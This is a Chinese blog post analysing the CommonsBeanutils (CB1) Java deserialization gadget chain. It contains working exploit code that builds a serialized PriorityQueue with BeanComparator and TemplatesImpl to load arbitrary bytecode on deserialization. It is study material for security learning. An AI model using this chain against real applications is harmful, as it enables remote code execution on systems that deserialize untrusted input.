Java反序列化CommonsBeanutils链

前言

CommonsBeanutils属于Apache Commons 工具集下的一个项目,它和Commons-Collections很像,也是对JAVA内置功能的加强,CC是对JAVA集合类的增强,CB是对JavaBean的加强。

环境搭建

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<dependencies>

getter和setter

接着我们可以通过一个简单的示例实际的了解一下,下面代码定义了一个 Person类

1
2
3
4
5
6
7
8
9
10
11
12
public class Person {
private String name="Sp4rks3";

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

}

在该类中,定义了一个私有属性name和两个方法:读取name和设置name。在 Java 中,我们把符合驼峰式命名法,以 get 开头的方法名叫做getter,以 set 开头的方法名叫做setter

CommonsBeanutils为开发人员提供了一个静态方法:PropertyUtils.getProperty(),通过该方法可以调用任意JavaBean中的getter()方法。因此我们可以通过如下代码调用 User 类的getName()方法获取 username 的值。

1
System.out.println(PropertyUtils.getProperty(new Person(),"name"));

相当于我传入一个字符串,它就会动态的执行函数,这样就会让我们想到会不会有安全问题


2024-06-07 104831

我们传入的是 name,但是返回的是gette方法和setter方法的名字 还返回了Bean的属性值的名字。

(大写的Name,实际是javabean的默认格式,就是传进来小写,但是会将第一个字母变为大写,变为Name)


PropertyUtilsBean中看到了调用的地方,意思就是对我们传递的对象,调用一个符合JavaBean的方法(getter方法)

image-20240606214037301

CommonsBeanUtils利用链分析

CC3中提到了Templateslmpl类,它里面有getOutputProperties()方法,而getOutputProperties()名字正好满足getter方法的定义且newTransformer()是可以动态加载类的

image-20240606214356953

image-20240606214757835

TemplatesImpl调用链

1
2
3
4
5
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->

TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()

-> TransletClassLoader#defineClass()

所以PropertyUtils.getProperty(o1, property)这段代码,当o1是一个 TemplatesImpl对 象,而 property 的值为outputProperties时,将会自动调用getter,也就是 TemplatesImpl.getOutputProperties()方法,触发代码执行。

image-20240606220701527

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;

import static java.lang.System.*;

public class Main {
public static void main(String[] args) throws Exception {
//TemplatesImpl3后段代码执行部分
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("C://Users//14341//Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

PropertyUtils.getProperty(templates,"outputProperties");
}
}

接着就是找在哪调用了getProperty(),在BeanComparator.compare()中找到了调用getProperty()的地方

image-20240607184303226

compare()我们也很熟悉了,在Java反序列化CommonsCollections篇-CC4有提到compare,compare的方法调用是这样的

6

链子流程

1
2
3
4
5
6
7
8
9
10
11
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
BeanComparator.compare()
PropertyUtils.getProperty(TemplatesImpl, outputProperties)

TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()

CB1

CommonsBeanUtils链实现

尝试按照上面的逻辑写

未找到方法的错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Main {
public static void main(String[] args) throws Exception {
//TemplatesImpl3后段代码执行部分
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("C://Users//14341//Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

// PropertyUtils.getProperty(templates,"outputProperties");

//CB的部分
BeanComparator<Object> beanComparator = new BeanComparator<>("outputProperties");

//CC4的逻辑部分
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(beanComparator);
priorityQueue.add(templates);
priorityQueue.add(2);

serialize(priorityQueue);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);

}


public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}

}

报错信息

1
NoSuchMethodException: java.lang.NoSuchMethodException: Unknown property 'outputProperties' on class 'class java.lang.Integer'

跟进报错信息

image-20240607223017391

对2(Interger)这个对象调用outputProperties,那肯定没有这个方法,遂报错

修改想法:

1
2
priorityQueue.add(templates);
priorityQueue.add(2);

变为

1
2
priorityQueue.add(templates);
priorityQueue.add(templates);

但是又有个问题,因为add会触发compare,导致序列化的时候就走完链子

所以咱们先得让链子断开,add完之后,序列化之前通过反射再将链子连接起来

修改后:

对象比较错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Main {
public static void main(String[] args) throws Exception {
//TemplatesImpl3后段代码执行部分
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("C://Users//14341//Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
//PropertyUtils.getProperty(templates,"outputProperties");

//CB的部分
BeanComparator<Object> beanComparator = new BeanComparator<>("outputProperties");

//不填beanComparator,断开链子
PriorityQueue<Object> priorityQueue = new PriorityQueue<>();
priorityQueue.add(templates);
priorityQueue.add(templates);

//反射修改comparator
Class<PriorityQueue> c = PriorityQueue.class;
Field cDeclaredField = c.getDeclaredField("comparator");
cDeclaredField.setAccessible(true);
cDeclaredField.set(priorityQueue, beanComparator);



serialize(priorityQueue);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);

}


public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}

}

错误信息 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl cannot be cast to java.lang.Comparable 意味着 PriorityQueue 中的 TemplatesImpl 对象在插入时无法进行比较。PriorityQueue 需要所有元素实现 Comparable 接口或者需要一个 Comparator 来对元素进行比较。

修改想法:

既然templates不能比较,那就换成数字,这总可以比较吧

1
2
priorityQueue.add(1);
priorityQueue.add(2);

可是又会出现刚刚不能找到outputProperties方法的问题,所以add完之后,序列化之前要将priorityQueue.add(1);换成priorityQueue.add(templates)

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Main {
public static void main(String[] args) throws Exception {
//TemplatesImpl3后段代码执行部分
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("C://Users//14341//Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

//CB部分
BeanComparator<Object> beanComparator = new BeanComparator<>("outputProperties");


PriorityQueue<Object> priorityQueue = new PriorityQueue<>();
priorityQueue.add(1);
priorityQueue.add(2);

//反射修改comparator和queue
Class<PriorityQueue> c = PriorityQueue.class;
Field comparatorField = c.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue, beanComparator);

Field queueField = c.getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queue = (Object[]) queueField.get(priorityQueue);
queue[0] = templates;


// serialize(priorityQueue);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);

}


public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}

}

为什么修改 queue 可以改变 PriorityQueue 的行为

PriorityQueue 内部使用数组来存储元素,而这个数组的引用被保存在 queue 字段中。

通过反射,获取了 PriorityQueuequeue 字段的引用,并且直接修改了它,将 TemplatesImpl 对象添加到了队列的第一个位置。

参考连接

JavaBean

Shiro反序列化漏洞(三)-shiro无依赖利用链

CommonsBeanutils与无commons-collections的Shiro反序列化利用


Java反序列化CommonsBeanutils链
https://sp4rks3.github.io/2024/06/08/JAVA安全/反序列化/CB链/
作者
Sp4rks3
发布于
2024年6月8日
许可协议